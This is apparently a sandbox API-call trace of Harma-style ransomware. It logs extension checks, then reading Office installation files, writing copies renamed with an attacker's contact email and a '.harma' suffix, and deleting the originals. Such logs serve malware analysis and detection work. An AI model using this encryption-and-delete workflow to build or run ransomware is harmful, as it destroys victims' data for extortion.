[0151.884] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0151.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.884] lstrlenW (lpString=".jpg") returned 4 [0151.884] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0151.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.884] lstrlenW (lpString=".doc") returned 4 [0151.884] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0151.884] lstrlenW (lpString=".docx") returned 5 [0151.884] lstrcmpiW (lpString1=".docx", lpString2="Y.VSL") returned -1 [0151.884] lstrlenW (lpString=".pdf") returned 4 [0151.884] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0151.884] lstrlenW (lpString=".xls") returned 4 [0151.884] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0151.884] lstrlenW (lpString=".xlsx") returned 5 [0151.884] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VSL") returned -1 [0151.884] lstrlenW (lpString=".ppt") returned 4 [0151.884] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0151.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.885] lstrlenW (lpString=".zip") returned 4 [0151.885] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0151.885] lstrlenW (lpString=".rar") returned 4 [0151.885] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0151.885] lstrlenW (lpString=".bz2") returned 4 [0151.885] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0151.885] lstrlenW (lpString=".7z") returned 3 [0151.885] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0151.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.885] lstrlenW (lpString=".dbf") returned 4 [0151.885] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0151.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.885] lstrlenW (lpString=".1cd") returned 4 [0151.885] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0151.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0151.885] lstrlenW (lpString=".jpg") returned 4 [0151.885] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0151.885] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0151.885] lstrlenW (lpString="FLOCH.VRD") returned 9 [0151.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.886] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=2028) returned 1 [0151.887] CloseHandle (hObject=0x384) returned 1 [0151.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 0x20 [0151.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.887] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.887] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.888] GetLastError () returned 0x0 [0151.888] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x7ec, lpOverlapped=0x0) returned 1 [0151.890] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0151.891] ReadFile (in: hFile=0x384, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.891] WriteFile (in: hFile=0x380, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0151.891] SetEndOfFile (hFile=0x380) returned 1 [0151.891] CloseHandle (hObject=0x380) returned 1 [0151.891] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.891] SetEndOfFile (hFile=0x384) returned 1 [0151.894] CloseHandle (hObject=0x384) returned 1 [0151.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 1 [0151.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0151.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0151.895] lstrlenW (lpString=".doc") returned 4 [0151.895] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0151.895] lstrlenW (lpString=".docx") returned 5 [0151.895] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0151.895] lstrlenW (lpString=".pdf") returned 4 [0151.895] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0151.895] lstrlenW (lpString=".xls") returned 4 [0151.895] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0151.895] lstrlenW (lpString=".xlsx") returned 5 [0151.895] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0151.895] lstrlenW (lpString=".ppt") returned 4 [0151.895] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0151.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0151.895] lstrlenW (lpString=".zip") returned 4 [0151.895] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0151.895] lstrlenW (lpString=".rar") returned 4 [0151.895] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0151.895] lstrlenW (lpString=".bz2") returned 4 [0151.895] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0151.895] lstrlenW (lpString=".7z") returned 3 [0151.895] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0151.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0151.895] lstrlenW (lpString=".dbf") returned 4 [0151.895] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0151.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0151.896] lstrlenW (lpString=".1cd") returned 4 [0151.896] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0151.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0151.896] lstrlenW (lpString=".jpg") returned 4 [0151.896] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0151.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0151.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0151.896] lstrlenW (lpString=".doc") returned 4 [0151.896] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0151.896] lstrlenW (lpString=".docx") returned 5 [0152.145] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0152.145] lstrlenW (lpString=".pdf") returned 4 [0152.145] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0152.145] lstrlenW (lpString=".xls") returned 4 [0152.145] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0152.145] lstrlenW (lpString=".xlsx") returned 5 [0152.145] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0152.145] lstrlenW (lpString=".ppt") returned 4 [0152.145] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0152.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0152.145] lstrlenW (lpString=".zip") returned 4 [0152.145] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0152.145] lstrlenW (lpString=".rar") returned 4 [0152.145] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0152.146] lstrlenW (lpString=".bz2") returned 4 [0152.146] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0152.146] lstrlenW (lpString=".7z") returned 3 [0152.146] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0152.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0152.146] lstrlenW (lpString=".dbf") returned 4 [0152.146] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0152.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0152.146] lstrlenW (lpString=".1cd") returned 4 [0152.146] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0152.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0152.147] lstrlenW (lpString=".jpg") returned 4 [0152.147] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0152.147] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0152.147] lstrlenW (lpString="GRAPH.HXS") returned 9 [0152.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0152.309] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=610086) returned 1 [0152.309] CloseHandle (hObject=0x37c) returned 1 [0152.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 0x20 [0152.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0152.458] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.458] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.459] GetLastError () returned 0x0 [0152.459] ReadFile (in: hFile=0x370, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x94f26, lpOverlapped=0x0) returned 1 [0152.493] WriteFile (in: hFile=0x374, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x94f30, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x94f30, lpOverlapped=0x0) returned 1 [0152.508] ReadFile (in: hFile=0x370, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.508] WriteFile (in: hFile=0x374, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0152.509] SetEndOfFile (hFile=0x374) returned 1 [0152.509] CloseHandle (hObject=0x374) returned 1 [0152.509] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.509] SetEndOfFile (hFile=0x370) returned 1 [0153.135] CloseHandle (hObject=0x370) returned 1 [0153.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0153.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 1 [0153.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.755] lstrlenW (lpString=".doc") returned 4 [0153.755] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0153.755] lstrlenW (lpString=".docx") returned 5 [0153.755] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0153.755] lstrlenW (lpString=".pdf") returned 4 [0153.755] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0153.755] lstrlenW (lpString=".xls") returned 4 [0153.755] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0153.755] lstrlenW (lpString=".xlsx") returned 5 [0153.755] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0153.755] lstrlenW (lpString=".ppt") returned 4 [0153.755] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0153.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.755] lstrlenW (lpString=".zip") returned 4 [0153.755] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0153.755] lstrlenW (lpString=".rar") returned 4 [0153.756] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0153.756] lstrlenW (lpString=".bz2") returned 4 [0153.756] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0153.756] lstrlenW (lpString=".7z") returned 3 [0153.756] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0153.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.756] lstrlenW (lpString=".dbf") returned 4 [0153.756] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0153.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.756] lstrlenW (lpString=".1cd") returned 4 [0153.756] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0153.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.756] lstrlenW (lpString=".jpg") returned 4 [0153.756] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0153.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.756] lstrlenW (lpString=".doc") returned 4 [0153.756] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0153.756] lstrlenW (lpString=".docx") returned 5 [0153.756] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0153.756] lstrlenW (lpString=".pdf") returned 4 [0153.756] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0153.756] lstrlenW (lpString=".xls") returned 4 [0153.756] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0153.756] lstrlenW (lpString=".xlsx") returned 5 [0153.756] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0153.756] lstrlenW (lpString=".ppt") returned 4 [0153.757] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0153.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.757] lstrlenW (lpString=".zip") returned 4 [0153.757] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0153.757] lstrlenW (lpString=".rar") returned 4 [0153.757] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0153.757] lstrlenW (lpString=".bz2") returned 4 [0153.757] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0153.757] lstrlenW (lpString=".7z") returned 3 [0153.757] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0153.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.757] lstrlenW (lpString=".dbf") returned 4 [0153.757] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0153.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.757] lstrlenW (lpString=".1cd") returned 4 [0153.757] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0153.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0153.757] lstrlenW (lpString=".jpg") returned 4 [0153.757] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0153.757] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0153.757] lstrlenW (lpString="GROOVE_COL.HXT") returned 14 [0153.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.758] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=218) returned 1 [0153.758] CloseHandle (hObject=0x348) returned 1 [0153.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 0x20 [0153.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0153.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.759] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.759] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.759] GetLastError () returned 0x0 [0153.759] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xda, lpOverlapped=0x0) returned 1 [0153.760] WriteFile (in: hFile=0x384, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0153.761] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.761] WriteFile (in: hFile=0x384, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0153.761] SetEndOfFile (hFile=0x384) returned 1 [0153.761] CloseHandle (hObject=0x384) returned 1 [0153.762] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.762] SetEndOfFile (hFile=0x348) returned 1 [0153.764] CloseHandle (hObject=0x348) returned 1 [0153.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0153.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 1 [0153.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.765] lstrlenW (lpString=".doc") returned 4 [0153.765] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0153.766] lstrlenW (lpString=".docx") returned 5 [0153.766] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0153.766] lstrlenW (lpString=".pdf") returned 4 [0153.766] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0153.766] lstrlenW (lpString=".xls") returned 4 [0153.766] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0153.766] lstrlenW (lpString=".xlsx") returned 5 [0153.766] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0153.766] lstrlenW (lpString=".ppt") returned 4 [0153.766] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0153.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.766] lstrlenW (lpString=".zip") returned 4 [0153.766] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0153.766] lstrlenW (lpString=".rar") returned 4 [0153.766] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0153.766] lstrlenW (lpString=".bz2") returned 4 [0153.766] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0153.766] lstrlenW (lpString=".7z") returned 3 [0153.766] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0153.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.766] lstrlenW (lpString=".dbf") returned 4 [0153.766] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0153.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.766] lstrlenW (lpString=".1cd") returned 4 [0153.766] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0153.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.767] lstrlenW (lpString=".jpg") returned 4 [0153.767] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0153.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.767] lstrlenW (lpString=".doc") returned 4 [0153.767] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0153.767] lstrlenW (lpString=".docx") returned 5 [0153.767] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0153.767] lstrlenW (lpString=".pdf") returned 4 [0153.767] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0153.767] lstrlenW (lpString=".xls") returned 4 [0153.767] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0153.767] lstrlenW (lpString=".xlsx") returned 5 [0153.767] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0153.767] lstrlenW (lpString=".ppt") returned 4 [0153.767] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0153.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT") returned 62 [0153.767] lstrlenW (lpString=".zip") returned 4 [0153.767] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0153.767] lstrlenW (lpString=".rar") returned 4 [0153.767] lstrcmpiW (lpString1=".rar", 